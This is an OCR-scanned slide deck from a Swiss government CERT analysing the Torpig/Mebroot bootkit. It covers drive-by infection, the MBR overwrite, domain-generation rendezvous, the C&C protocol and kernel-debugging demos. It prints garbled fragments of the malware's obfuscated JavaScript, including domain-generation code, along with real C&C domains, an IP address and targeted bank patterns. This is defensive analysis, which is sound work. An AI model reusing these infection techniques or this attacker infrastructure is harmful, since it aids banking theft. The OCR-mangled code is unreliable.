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Agenda

« Part 1: Introduction (~5)
 Infection machanism of a new drone
* Rendez-vous mechanism (DNS algorithms)
- Components of Mebroot/Torpig
« Part 2: Demo - how to get a copy of unpacked bootkit (~20°)
+ Usermode vs. Kernel (Ring0) debugging
- Kernel debugger setup using VMWare

- Static analysis to find breakpoint for dynamic analysis
(using Interactive Disassembler IDA + HexRays
decompiler)

- Dynamic analysis to get unpacked bootkit from an
infected drone (using Windbg and VMWare)

MELANI/GovCERT.ch
Melde- und Analysestelle Informationssicherung MELANI  Torpig/Mebroot, Andreas Greulich, 18. April 2009



U Domains For Drive-By Infection
(Neosploit

hitp://www.zdnet.de/security/news/0,39029460.39197209,00.hitm
http://www.pcworld.com/article/151831/researcher finds evidence of massive site compromise.html

http://www.aladdin.com/forms/airc-news-entries/form.aspx?CIlD=Neosploit

R WNat Cort vy Researcher Finds Evidence of
LLUNEel oeCUl ﬁé Massive Site Compromise

Gregyg Keizer, Computerworld

h Oct 3, 2008 5:39 pr

SECUI’it‘f - Sicherheit = News = Email (=) Print RSS B 0 Comments

Aladdin findet Server mit _
200.000 FTP-Passwdrtern Do o

Recommends
Yan Christoph H. Hochstatter
ZOMet Several criminal gangs have acquired administrative

. log-in credentials for more than 200,000 Web sites —
U7 Oktober 2008, 1311 Uhr including the one used by the U.5. Postal Service -- and

b/ Buzz up! 4diggs diggit

lhre Meinung zum Thema have Used the rrmrromicad domsine o oHac

unsuspecting (8 - English = Search
Fast §2.000 Wehsites bereits mit Malware infiziert Kit, & researc :cu%l%(jug}}l SOLUTIONS PRODUCTS/SERVICES PARTNERS ABOUT ALADDIN NEWS/EVENTS SUPPORT/DOWNLOAD CONTAGT US
Der U=B-Dangle-Hersteller Aladdin hat im Internet einen Server gz;eatrgﬁna?# eSafe Products
gefunden, auf dem sich Gber 200.000 FTP-Zugangsdaten fir T ., AT eCrime operation exposed - more than
dffentliche Webserver befanden. Der eCrime-Server hatte bei Neospioit, 2 | :2::3:: - 200,000 credentials stolen, 80,000 sites
seiner Entdeckung schan etwa 107.000 Zugangsdaten als giltig launch explai e —— infected
validiert. Auf 82.000 der kompramittierten Websener war hergits  S0Mware sucl esafe Modules

Find out if your organization was affected

Systems Inc !

Malware eingeschleust worden. eSafe Appliances

eSafe Solhrtions . . .
In a coordinated effort led by Aladdin's Attack Intelligence™ Research Center, more than

nter den gESChf—jdigtEﬂ Internehmen befanden sich mehrere BT ETE Y 200,000 credentials that were found on a criminally operated server have been reported to

. o GEEntinng officials, This effort spans more than 80 countries warldwide, and involves law enforcerment
Fortune-500-Firmen, darunter auch der US Postal Service und eSafe Secure SUMINGfOr | and gorernment aroanzations. ' !
ISP=
eSafe Web Threat Faund in list of credentials are government sites, Read the full story:
Analyzer univ;rsi?:ies, as _well as fortune 500 c:om_panies, and
) leading international and local corporations, Computerworld, The Register,
MELANI/GOVCERTCh Eﬁ‘if_"'_‘h‘_'?_scf“r Mobile aladdin's sttack Intelligence Research Center has ComputerWeekly, SCMagazine
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Neosploit Drive-By, Step 1: Unpatched
PC Accesses Compromised Website

\ Hacked website
PC (clean) (Neosploit)
/ in Switzerland

Obfuscated Javascript: Redirection
DNS-name = f(date)
Rendez-vous point for infection:

1 new name all 3 days
Example: dtugidfir.com (Apr 18)

MELANI/GovCERT.ch
Melde- und Analysestelle Informationssicherung MELANI  Torpig/Mebroot, Andreas Greulich, 18. April 2009



Step 2: Search For Vulnerabilities

PC (clean)
A
Obfuscated Javascripts:
Check for vulnerabilities,
Download and execute exploit
MELANI/GovCERT.ch
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¥  Step 3: Execution Of Exploit + Reboot

PC
(about to be infected)

/

*Exploit executes,
*Wait random time (~20 minutes)

*Copy Bootkit into unpartitioned part of disk
*Overwrite Master Boot Record (MBR)
*Reboot
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Step 4: Software Updates (Every
Reboot)

Infected Drone

*Encrypted and hashed!
*Every week 1024 new rendez-
vous points are generated, queried

until reply with correct encryption
$  is found (the order is random after the
first few tries)
*Uses BIP protocol
*Drone reports version of bootkit
and plugins (Torpig)

*Server sends updates for
bootkit and plugins (initially there
are no plugins installed)
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Step 5: Configuration File, Webinjects,
Stelaing Of Data

Some E-banking site

Webbrowser .

Infected Drone with
Torpig plugins
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U Overview Of Attacker Infrastructure

3 different
DNS-algorithms, Configuration: visited
different encryption All ~20 minutes
algorithms (but
Only the MBR CC

one is advanced) Hacked webservers

(Neosploit)
in Switzerland

Dropbox: As soon as

Software updates: visited User uses E-bankin

One time per reboot

Infection: visited one time
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O

Obfuscated Javascript (Shortened),
Layer 1

Text |H;& | CDDHEEI UnksParserI

<£gcript language="javascript"r§="I63eE3dZiZi2echais 8720250422541 82574225280

) 225522528252 70x00Z252 74222573 ) Z2529) ; t E257dE22 :ddZ3dI221i8xZ2522 3¢} 3xZ3cL3x I3t}
+yrBd) K717, E2522 252022520227 9kd) KE7iTM0-0Z2 522 525208252022 7+m) 1 -2] *8d) K7t TME3 od) K7
PIMZ3ed) K7i7M9+i8x ' - | ) KBE8d) KPi7M6 225200009 900 Z2 52 65## 950225222252 6M+18x 22522

) EBE88d) K7i7M6Z2520h84 ! '9, (4911950 225209222 ; deZ3di22gigo; 22, ..

AZE R R DS A D N o i R e s Rl LRI rE2 DR DRO Pt 2252 0E2 55332250082 587

cEeVAZEZLACZZ 2B unia 565322563 225012257 0225280 ) 2257A2255bE22 269 ZEG5Z6dEZ6fcuiadeZaez Vg
o ZofkEZ69Z65E2einiodeZ V8000 (2202362043 227) 23dA23d-1) 2 bhse (Z27r£5£230d=s227, 2, E37)
;el76al (E75neZ73cielpe (E642+E63sZ2hiofp+ET73tE202bE27dw (E642Z2bE63 e (§ 220 ET3tL) E29Z30EET
11elsZ6EEThbSE3dE27E2 7 rfunctiZefite EZ73cii8citemidoviiceZeod) 27hwvaiva

ZEExAZ3dnZeS 7Y E20Z3da2T4Z60228) 1 efV78d22efV3eZ V42440274 E65 (265 278d. gZ65Z74Dhai7de |
| Z22bedZ29: doZedumeZeeZVdZ2ec 26foZchZ69eZidenZad+ 220227 23AE27 +escapef28vZi 322022
rexpielresiidiZV+exind. V040G 24dE5d3874278inse7 () 27d " Eunection = (=) {r=""for (i=0;i<=.
lengthr:i++) {if(s.chardc (1) =="2") {z1="%"telse{zl=s.chardt (i) }r=r+=1:return unescape(r
Trrevaliz(§)) jdocwment .. write (§) s </ scripos
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O

Obfuscated Javascript (Shortened),
Layer 2

Mew Tab (1) | Mew Tab (2)  Mew Tab (3) I

Ce="Zecha$72Co564e541%745280) 550420852 70x0052 7T+e5753)529) ;15 7d": dd="13x522<} Sx<tSx<t ™} ]
+yvBd) E7i7H, 522520520 Okd) E7i7M0-0%522%20520" +mt * } —5] *8d) E7e7M<d) K71 7H<d) E7i7M9+iSx | — |

) KE55d) K7i7H6%20h000; 1~ 1 05042 6E5##050% 2242 6M+1Sx% 22— | ) KS888d) K7i7H6S2Z0h#E 1 19, . #9; 1~ 1950
$209"; de="qi89;$229+u| culd) K7t 7H-t) >wudTgdudo=5¢) >wudTqif99+yviEd) K7t 7H, $209d) K7t 7M- | +d
VK7 7M-t) >wud] £ 7F~dx89; | +ve~sdys 7F~03] *8t<} <i0kfgh0b-5581; 85 :£99; 5} Nt9: §9; t9+budeh~0h
Hfqb0t—Tvralvybh>s% 7F} T+Egh0iSx ' < ous=" [guEid ... .9%3b%22 ;" dh="<7 " 7<Ta7<ThT<Tec7<7d7?
£TeT<TET<TgT<ThT<7i7<7I79+Eqh0~) —~uglohbgif | <522 <#<i<s<%26<" < (<] 9+fogb0d) —~uglohbgigs
+EqbOt) —~ug0Tgduss+d) E7i7H-t) >wudVe | | Iugh&94ywvat) »wudTgiso . #94) K7e 70—t ) »wudTgdus =8t
yudT" co="%3658553bi%2b%2b) s Thtmps 3ddss Zess 6o 60ces 285 695205 604152953 " de="M+} Sx— | | E&5d
VE7H7M; 11 950% 225 9M+yvEESd) ETe7H: 5229, % 2096688d) KTt 7H:5229, - ) 9963x—~ ) ESd) E7t7M50 !5 209H
+u|cultSx—| ) ESEd) E7E7H: 526950522 ' OM+d—4>bu’ | qoust<iSxs22;: 1 Sx: iSx ' tSx; 1) Ed) K7 7H=11; 7>=
2 7F 79+ dz="566U% fectis6fny20dus 2803295 Thoas 3ds2 75256405 2563%2575m% 655 6252574 . ws 72
%2G569% 7452565 (52522527 ces3ds2752522%252952 7 chs3d%2 75253 050rs2569p5 74 25605615256y
5257545256102 565%253d%2550%2522 Javi 61425755552 565%2572% 69pt$ 25504 25225253527 0565%3d
4274253325505 252 fa52563rs2560pts 25533565527 evattos20uns 6555 6356157052086 ) | $7ds b if

[docurent . cookie.indexOf ('rf5faeds' ) ==-1){sc('rf5fads',2,7) reval (unescape (d=+cz+op+st) +
'du(dz+cz(f+st)) ') telse! ="'} :function scicnm,v,ed) {var exd=new Date () ;exd.setDate (exd
gethate () +ed) ;docuwent . cookie=crm+ '=' +escape(v)+' jexpires='+exd,.toGHTItring() 2} :
| - r T | |
MELANI/GovCERT.ch
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U Obfuscated Javascript (Shortened),
Layer 3

r we=new Lrray('launo','kbdwve','jcothr!,'idfir', 'hevit!,'gfxes!', 'Loves!  'ehghe!, ' djeni!
Trar lEJ:l'I.E‘I'I" A]‘.’]‘:E.E,FI:'E.',']:II','l:','d';'E';'f','g','h','i','j','}{','l','m','n','ﬂ','p','q',']‘."
rar n9=new Arravil,2,3,4,5,6,7,5,91:

rar to9=new ALrrav(]:
var d9=new Date(]:
LO['y']=d2.getFull¥ear (]:
if (d9.gethav () >3]
L9['d']=d9.gethate (|- (d9.getDay (] +2) :
elge tS['d']=dS.gecDate (1-(d9.gechav(]]:
if(to['d']=e['d']=1;
LS 'm']=d9.gecMonth (] +1;
function CHMN (d,m, v
{

rar r=1{((vy+{2%d) )+ (w*d) *4)+d) ;

return r:
'
var d='fbhcmfir.com':
var vChl, vChe,mCh, dCh, ko,
iE(t9['v']=2007)
{

t9['y'] = 2007%;
'
mim=CHN(c9['d'] ,t9['m'],L8['v']1]):
vChi1=19[ ([ (c9['v'] &0=bb) +xedm) 5 631% 26] ;
YOh2=19[ ([ ((E9['v'] &0x3311) >>3 ) +mllm) = 1017 :
wCh=190 ([ (9 'm' ] +mllm) & 2517 :
if(((cR['d']*F2 1 -=0) gL [ (EO['A"] *2 ) =9 1 ACh=n9 [ (t2['d']x 101]:
else dCh=19[ ((c9['d']*5)% 271]:
$=%.replace (d, vyChZ +tmCh+vyChl+ACh+m2 [t9['m' ] -1]+"' .com' ) ;
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Encryption Algorithms

« Configuration file: XOR-11 (Torpig)

okc 44749..|phtc?utlspA?zxA?v?uzs?utlspA?zxA?v? |pcexA?spA?z?ut

Subconfig: BASE64-XOR (Torpig)

POST /3AEFBA86C8B89862/MGImIWUXX1Q1HzTrf/4QUBA1xtXBZbsCILtWHF1sIgHgBI0gIAfeITUfFI9+
rkEH4KdzJEFCWXxWhK6Br6g/AUHASBgWRBh/ARL4g00p7deF0ZrNBdSObBVDaQdq6wyXQENIWTUXXwkX

AK1ELgms1ESCScgE
« Advanced encryption algorithm in Mebroot (MAOS)

~Skrearn Conkenkt

POST / HTTR/L.1
Host: dovivuti. com

Content-Length: 100
Connection: close

7.0.7.. &GS, \gS,ﬁee S o T R ¥ 1 AT I [
. LI}-r g. hSPw A I
gl;aHTTF',fl 0 200
CDnnectwn close
;—ontent-Length: 44

= I - e e T LE N P T LV R I

Find | Save As | Prinkt | Entire conversation (278 bykes) [ - |(w .C

Help |

MELANI/GovCERT.ch
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Components in Infected Drone

Kernel-Mode: User-Mode:
Stealth functions | API Hooking,
Stealing of data

MBR
(3 sectors)

Stealth

Bootkit
(~250KB packed,
~500KB unpacked)

“Malware Operating
System (MAQOS)”
Inject into executables,
Steal data,
Webinjects

KERNEL | USER
MODE '@ MODE

Hidden ‘///IIIIIIII

TCP connections

MELANI/GovCERT.ch
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Boot Procedure

0: Master Boot Record MBR-code hooks INT13
= patches OSLOADER to call kernel patcher
60: Kernel patcher = scans and patches NTOSKRNL.EXE to call payload loader
61: Payload patcher = loads, decrypts and installs rootkit
o
62: Original MBR
€Torpig part for malware functions:
: " Used part hooks into programs, intercepts
lezt[(eFr)r?:;tZIt/I%rc])?ltains 5 or of disk sessions, accesses configuration files.
rr)(ore encrypted drivers Can easily be replaced by other
!
(currently 3) malwahr e
: : : ~System
= Main funmonghty of Installs, calls“ into
malware (Anserin) Updates ,MAOS*
(at bootup
[ \4
API (20 functi
' Data area behind disk : (20 func |ons).
' partitions (slack space), ; €Mebroot part for stealth functions:
| ~850 raw sectors: < own TCP stack, hides disk sectors,
SYS driver (encrypted) | implements system calls, ...:
| 3 Stealth functionality | Like an OS within Windows :

Malware-OS (MAOS)?

MELANI/GovCERT.ch
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Bootkit Hidden ,.Behind Partitions*

EWH‘IHEH - [Festplatte 2] - | I:Ilil
“ge Datei Bearbeiten Suchen  Position  Ansicht  Extras  Specialist  Opkionen  Fenster  Hilfe _|E’|E|
D dEeaE E o BB  MAl Y o PeEs | OFemEL | EHa4aPrOE £
Festplatte 2 Iunbenanntdaﬂ
Parttionierungstyp: MEBR 3 Dateien, 1 Partitionen
RET | E iy, | [arofe | Erzeugung | Anderung |2ugriff |.-‘-‘-.ttr. | 1. Sektor [
- Partition 1 MTFS  2020GE B3

Anfang der Platte 3.5kKB ]

Micht partitionierbarer Bereich 25 mME

Micht partitionierter Bereich

213 0GR

il Of fset o1 2 3 4 5 £ 7 8 9 & B C D E F| ~ N
Modsl: Eut Hard Disk | OSO0DCF1EOD | 4D G4 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ1.. . ... ... Wi
Bus: ycg  OSODCFLELD | B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00| ,....... @ ... [ |
05ODCF1E20 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ... .. .. .. ...
Editier-Modus 05O0DCF1E30 | 00 00 00 00 00 00 00 00 00 00 00 00 58 02 00 00 .. ....... .. . o
Chatus: sriginel | 0S0DCF1E40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ... .. ...........
o 0SODCF1ESO | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ... .. .. .. ...
Riick gangig-Stufer: U) p5opcF1EED 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ... . .. ...... ..
Riickgangig: | 0S0DCFL1E?0 00 00 00 00 00 OO0 00 00 00 00 00 00 00 00 00 00 ... ... ... ... ...
050DCF1ESD | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ... .. .. .. ...
liesamtkapazitat ~23dBB| negpCcF1E90 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ... ... ... ... ....
230053 350TME Bytes | e ppep1EAD | 00 00 DO 00 OO0 00 OO0 00 OO0 00 OO0 00 00 00 00 00| ... . . ... . ...
B i S 517 | 0S50DCF1EB0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ... .. .. .. ...
Uberhangsektorer: 5103 | 050DCF1ECO | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ... .. .. .. ...
05ODCF1EDD | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ... .. .. .. ...
Partition: 1| DS0DCFLEED | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ... .. .. ....... .
Relative Sektor-Nr 050DCF1EFD | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .. ... .. .. .. ... -l
Sektor 42395535 von 483397168 | Offset: BODCFIEDD | =77 | Block; BODCF1EDD - 50DD2837C | Grofe: FEB 7D
MELANI/GovCERT.ch
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Kernel Debugging (WinDbg)

Two Physical Systems!

Kernel Debugger (WinDbg)

Debuggee (infected drone)

MELANI/GovCERT.ch
Melde- und Analysestelle Informationssicherung MELANI
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Kernel Debugging (WinDbg) Using
VMWare

http://silverstr.ufies.org/lotrO/windbg-vmware.html

HOST

VMWARE (GUEST)

Kernel Debugger (WinDbg)

Named Pipe

MELANI/GovCERT.ch
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Encrypted Bootkit: Unpacker With
~opaghetti-Code” Obfuscation

= V=11t

|
Unpacker Compressed and encrypted rootkit (~250KB)
chunk1Entry proc near ; CODE XREF: .text:loc 15873)p
mow ds:chunked1, offset loc_ 1BCEA
jmp ds:chunked1 ; Indirect Hear Jump
chunk1Entry endp

t§0_1ﬂcn?: ; DATA XREF: %t :088818C5FTo
jl loc_10BG6S ; Jump ess (SF*=0F)
mou ds:chunkedi, offset loc_18Da3

jmp ds:chunked1 ; Indirect Hear Jump
; [096080023 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+ TO EXPAHD]

loc 18C5A: ; DATA KREF: chunk1EntryTo
cmp dword pty [esp+8Ch], 5/; Compare Two Operands
mou ds:chunkedd1, offset loc 18CA7
jmp ds :chunked ; Indirect Hear Jump
MELANI/GovCERT.ch
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Bootkit After Decryption (~500KB)

Deobfusctaion is possible using a kernel debugger (WinDbg)
Shown in Demo

*@--" fext 00014 noooomt C cohtent-lzngth:
L et 0007 4. gooooode POST %z HTTPA W nHost Zz'rnContent-Length; ZdswrnConnection: cl...
L hext: 0007 4. goooooss C COMMECT ZsZu HTTRM 15 hnHost: ZzhrnContent-Length: Ohhnbhrn
L bewt 00015, Qaooonio C WY Sapstem 32N,
L besb 00015, QooQoons  C LEME
L bewt 00017 Qoooonos  C Mals
L best: 00017 Qoooonos  C MADS
L hewt 00017 Qaooonos  C DUMP
L best: 00018, Qoooonos  C MADS
L bewt: 00079, Qoooonos  C IMST
L hewt: 000749, Qoooonos  C IMFO
L bewt: 00079, Qoooonos  C PLUG
C

R et 0079 jiteduiz. cam

Bootkit hooks IRP_MJ_READ and IRP_MJ_WRITE (disk read and write) for stealth
purposes (original MBR). Newer versions hook pointers all IRP_MJ_*

pointers and add dummy handlers to avoid detection by anomalies in pointer table.
CDROM.SYS dispatch table is hooked as well. Values in CLASSPNP.SYS
Pointers are updated. Newer versions add a ,watchdog“ thread to avoid restoring
the original pointers (Virus Bulletin, June 2008, pp 8-10)

MELANI/GovCERT.ch
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U Additional Obfuscation: State Machines

state = 39;
LABEL_2:
result = STATUS_INSUFFICIENT_RESOURCES;
while ( state <= 60 )
{
if ( state > 38 )
goto INIT39;
if ( state == 14 )
{A
fix220rl9 = (fix96 A 115) + 3;
it ( (*baseAddr_ * #*paseAddr_ & 3) == 2 | *baseAddr_ == 0 )
fix22orl9 = fix96 A 115;
state = fix220rl9;

fix71 = fix96 39;
result = STATYS| ADDRESS_ALREADY_ASSOCIATED;

' kdD");

INIT39: // initial state (state==39)

fix1l4or22 = 14;

It ( (baseAddr/2) + (baseAddr/2) != 0 & baseAddr==0 | (size/2) + (sizerA2) != 0 & size_ == 0 )
fixl4or22 = 22;

state = fixl4or22;

result = STATUS_INVALID_PARAMETER;

fix96 = 96;

}
}

MELANI/GovCERT.ch
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It Can Be Really Hard...

state = 28;
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
while ( 1)
{
resState = (unsigned int *)state;
if ( state > 27 )
break;
if ( state !'= 7 )// STATE 7
goto INIT_28;

MELANI/GovCERT.ch
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U Commands Used in Mebroot Protocol

« INFO (client to server): send secondary key used by
Torpig/Anserin BASE64-XOR-encryption

« PLUG (client to server): send information about installed
plugins (currently the Torpig/Anserin modules)

« INST (server to client): install or update plugins

e Other unknown commands (found in binary, not seen in
actual traffic):

- DUPL
* UNST (deinstalls Torpig/Anserin and/or Mebroot)
- DUMP

« Bootkit contains an uninstallation function

MELANI/GovCERT.ch
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Sinowal Domains for Main

Configuration

« Used by Torpig in order to get the main configuration file; it
comes in a daily changing and a weekly changing version
=>» backup for fix servers:

<Start Tag=1 RawData=1D:01 IntValue=285/>
<Timestamp Tag=2 Value=1223460061 Date="Wed Oct 8 12:01:01 2008'/>
<Pollinterval Tag=10 Seconds=600/>
<TmpFile1 Tag=5 Filename='$_2341234.TMP'/>
<TmpFile2 Tag=6 Filename='$_2341233.TMP'/> . .
<Host1 Tag=19 Hostname="fonzi.info'/> Server for Sub—Conflguratlon
<IP1 Tag=21 IP='190.183.63.81'/>
<HostList1 Tag=34 entries=3>
fibido.com
givuifib.com
nirkaza.com
</HostList1>
<HostList2 Tag=31 entries=2>
firkan.com
kctfdiij.com
</HostList2>
<TargetHostPatterns1 Tag=
*bank1.com
*barnsley-bs.co.uk
*cimbanque.com

Fix servers for main configuration

Main patterns (level 1)
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Questions?
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